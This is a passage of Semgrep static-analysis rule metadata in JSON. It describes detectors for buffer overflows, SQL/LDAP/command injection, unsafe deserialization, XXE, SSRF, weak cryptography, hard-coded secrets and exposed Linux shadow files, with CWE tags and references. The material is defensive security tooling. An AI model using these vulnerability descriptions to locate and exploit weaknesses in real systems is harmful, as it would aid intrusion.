python.fastapi.file.tainted-shelve-fastapi.tainted-shelve-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The function `$FUN` does not impose any size limitation to what it writes to `$BUF`. That may lead to a stack buffer overflow if there is no validation on the size of the input."},"help":{"markdown":"The function `$FUN` does not impose any size limitation to what it writes to `$BUF`. That may lead to a stack buffer overflow if there is no validation on the size of the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.unbounded-copy-to-stack-buffer.unbounded-copy-to-stack-buffer)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator](https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator)\n","text":"The function `$FUN` does not impose any size limitation to what it writes to `$BUF`. That may lead to a stack buffer overflow if there is no validation on the size of the input."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.unbounded-copy-to-stack-buffer.unbounded-copy-to-stack-buffer","id":"cpp.lang.security.strings.unbounded-copy-to-stack-buffer.unbounded-copy-to-stack-buffer","name":"cpp.lang.security.strings.unbounded-copy-to-stack-buffer.unbounded-copy-to-stack-buffer","properties":{"precision":"very-high","tags":["CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.unbounded-copy-to-stack-buffer.unbounded-copy-to-stack-buffer"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using `#$variable` and use `$variable` in `sql\"...\"` strings instead."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using `#$variable` and use `$variable` in `sql\"...\"` strings instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.slick.security.scala-slick-sql-non-literal.scala-slick-sql-non-literal)\n - [https://scala-slick.org/doc/3.3.3/sql.html#splicing-literal-values](https://scala-slick.org/doc/3.3.3/sql.html#splicing-literal-values)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using `#$variable` and use `$variable` in `sql\"...\"` strings instead."},"helpUri":"https://semgrep.dev/r/scala.slick.security.scala-slick-sql-non-literal.scala-slick-sql-non-literal","id":"scala.slick.security.scala-slick-sql-non-literal.scala-slick-sql-non-literal","name":"scala.slick.security.scala-slick-sql-non-literal.scala-slick-sql-non-literal","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.slick.security.scala-slick-sql-non-literal.scala-slick-sql-non-literal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped."},"help":{"markdown":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.ldap.ldap-injection-dn.ldap-injection-dn)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.ldap.ldap-injection-dn.ldap-injection-dn","id":"cpp.lang.security.ldap.ldap-injection-dn.ldap-injection-dn","name":"cpp.lang.security.ldap.ldap-injection-dn.ldap-injection-dn","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.ldap.ldap-injection-dn.ldap-injection-dn"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-torch-pickle-flask.tainted-torch-pickle-flask)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/;](https://davidhamann.de/2020/04/05/exploiting-python-pickle/;)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f)](https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f))\n - [https://pytorch.org/docs/stable/generated/torch.load.html](https://pytorch.org/docs/stable/generated/torch.load.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-torch-pickle-flask.tainted-torch-pickle-flask","id":"python.flask.deserialization.tainted-torch-pickle-flask.tainted-torch-pickle-flask","name":"python.flask.deserialization.tainted-torch-pickle-flask.tainted-torch-pickle-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-torch-pickle-flask.tainted-torch-pickle-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"linux shadow file detected"},"help":{"markdown":"linux shadow file detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-etc-shadow.detected-etc-shadow)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"linux shadow file detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-etc-shadow.detected-etc-shadow","id":"generic.secrets.security.detected-etc-shadow.detected-etc-shadow","name":"generic.secrets.security.detected-etc-shadow.detected-etc-shadow","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-etc-shadow.detected-etc-shadow"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of Blowfish was detected. Blowfish uses a 64-bit block size that  makes it vulnerable to birthday attacks, and is therefore considered non-compliant.  Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"Use of Blowfish was detected. Blowfish uses a 64-bit block size that  makes it vulnerable to birthday attacks, and is therefore considered non-compliant.  Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n","text":"Use of Blowfish was detected. Blowfish uses a 64-bit block size that  makes it vulnerable to birthday attacks, and is therefore considered non-compliant.  Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish","id":"java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish","name":"java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"CodeClimate detected"},"help":{"markdown":"CodeClimate detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-codeclimate.detected-codeclimate)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"CodeClimate detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-codeclimate.detected-codeclimate","id":"generic.secrets.security.detected-codeclimate.detected-codeclimate","name":"generic.secrets.security.detected-codeclimate.detected-codeclimate","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-codeclimate.detected-codeclimate"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of RSA-$BITS, which is considered weak. Based on NIST standards, RSA keys should be at least 2048 bits."},"help":{"markdown":"Use of RSA-$BITS, which is considered weak. Based on NIST standards, RSA keys should be at least 2048 bits.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.typescript.node.security.node-rsa-weak-key.node-rsa-weak-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n","text":"Use of RSA-$BITS, which is considered weak. Based on NIST standards, RSA keys should be at least 2048 bits."},"helpUri":"https://semgrep.dev/r/typescript.typescript.node.security.node-rsa-weak-key.node-rsa-weak-key","id":"typescript.typescript.node.security.node-rsa-weak-key.node-rsa-weak-key","name":"typescript.typescript.node.security.node-rsa-weak-key.node-rsa-weak-key","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.typescript.node.security.node-rsa-weak-key.node-rsa-weak-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"An insecure SSL context was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use SSLContext.getInstance(\"TLSv1.2\") for the best security."},"help":{"markdown":"An insecure SSL context was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use SSLContext.getInstance(\"TLSv1.2\") for the best security.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.weak-ssl-context.weak-ssl-context)\n - [https://tools.ietf.org/html/rfc7568](https://tools.ietf.org/html/rfc7568)\n - [https://tools.ietf.org/id/draft-ietf-tls-oldversions-deprecate-02.html](https://tools.ietf.org/id/draft-ietf-tls-oldversions-deprecate-02.html)\n","text":"An insecure SSL context was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use SSLContext.getInstance(\"TLSv1.2\") for the best security."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.weak-ssl-context.weak-ssl-context","id":"java.lang.security.audit.weak-ssl-context.weak-ssl-context","name":"java.lang.security.audit.weak-ssl-context.weak-ssl-context","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.weak-ssl-context.weak-ssl-context"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader. Before this version, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader. Before this version, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-ruamel-aws-lambda.tainted-ruamel-aws-lambda)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://yaml.readthedocs.io/en/latest/api/](https://yaml.readthedocs.io/en/latest/api/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader. Before this version, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-ruamel-aws-lambda.tainted-ruamel-aws-lambda","id":"python.aws-lambda.deserialization.tainted-ruamel-aws-lambda.tainted-ruamel-aws-lambda","name":"python.aws-lambda.deserialization.tainted-ruamel-aws-lambda.tainted-ruamel-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-ruamel-aws-lambda.tainted-ruamel-aws-lambda"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input entering a method which executes a system command. This could result in a command injection vulnerability, which allows an attacker to inject an arbitrary system command onto the server. The attacker could download malware onto or steal data from the server. Instead, use ProcessBuilder, separating the command into individual arguments, like this: `new ProcessBuilder(\"ls\", \"-al\", targetDirectory)`. Further, make sure you hardcode or allowlist the actual command so that attackers can't run arbitrary commands."},"help":{"markdown":"Detected user input entering a method which executes a system command. This could result in a command injection vulnerability, which allows an attacker to inject an arbitrary system command onto the server. The attacker could download malware onto or steal data from the server. Instead, use ProcessBuilder, separating the command into individual arguments, like this: `new ProcessBuilder(\"ls\", \"-al\", targetDirectory)`. Further, make sure you hardcode or allowlist the actual command so that attackers can't run arbitrary commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-system-command.tainted-system-command)\n - [https://www.stackhawk.com/blog/command-injection-java/](https://www.stackhawk.com/blog/command-injection-java/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)\n - [https://github.com/github/codeql/blob/main/java/ql/src/Security/CWE/CWE-078/ExecUnescaped.java](https://github.com/github/codeql/blob/main/java/ql/src/Security/CWE/CWE-078/ExecUnescaped.java)\n","text":"Detected user input entering a method which executes a system command. This could result in a command injection vulnerability, which allows an attacker to inject an arbitrary system command onto the server. The attacker could download malware onto or steal data from the server. Instead, use ProcessBuilder, separating the command into individual arguments, like this: `new ProcessBuilder(\"ls\", \"-al\", targetDirectory)`. Further, make sure you hardcode or allowlist the actual command so that attackers can't run arbitrary commands."},"helpUri":"https://semgrep.dev/r/java.spring.security.injection.tainted-system-command.tainted-system-command","id":"java.spring.security.injection.tainted-system-command.tainted-system-command","name":"java.spring.security.injection.tainted-system-command.tainted-system-command","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.injection.tainted-system-command.tainted-system-command"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The XML parser $PARSER is not securely configured. The current configuration allows for XXE attacks. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setExpandEntities(false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The XML parser $PARSER is not securely configured. The current configuration allows for XXE attacks. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setExpandEntities(false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxbuilder-xxe.saxbuilder-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The XML parser $PARSER is not securely configured. The current configuration allows for XXE attacks. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setExpandEntities(false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxbuilder-xxe.saxbuilder-xxe","id":"kotlin.xxe.saxbuilder-xxe.saxbuilder-xxe","name":"kotlin.xxe.saxbuilder-xxe.saxbuilder-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxbuilder-xxe.saxbuilder-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"File name based on user input risks server-side request forgery."},"help":{"markdown":"File name based on user input risks server-side request forgery.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-filename.tainted-filename)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"File name based on user input risks server-side request forgery."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-filename.tainted-filename","id":"php.lang.security.injection.tainted-filename.tainted-filename","name":"php.lang.security.injection.tainted-filename.tainted-filename","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-filename.tainted-filename"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.rabbit-hardcoded-secret.rabbit-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.rabbit-hardcoded-secret.rabbit-hardcoded-secret","id":"swift.cryptoswift.rabbit-hardcoded-secret.rabbit-hardcoded-secret","name":"swift.cryptoswift.rabbit-hardcoded-secret.rabbit-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.rabbit-hardcoded-secret.rabbit-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions."},"help":{"markdown":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nestjs.security.audit.nestjs-header-cors-any.nestjs-header-cors-any)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions."},"helpUri":"https://semgrep.dev/r/typescript.nestjs.security.audit.nestjs-header-cors-any.nestjs-header-cors-any","id":"typescript.nestjs.security.audit.nestjs-header-cors-any.nestjs-header-cors-any","name":"typescript.nestjs.security.audit.nestjs-header-cors-any.nestjs-header-cors-any","properties":{"precision":"very-high","tags":["CWE-183: Permissive List of Allowed Inputs","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nestjs.security.audit.nestjs-header-cors-any.nestjs-header-cors-any"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jedis.secrets.jedis-jedisclientconfig-hardcoded-password.jedis-jedisclientconfig-hardcoded-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. 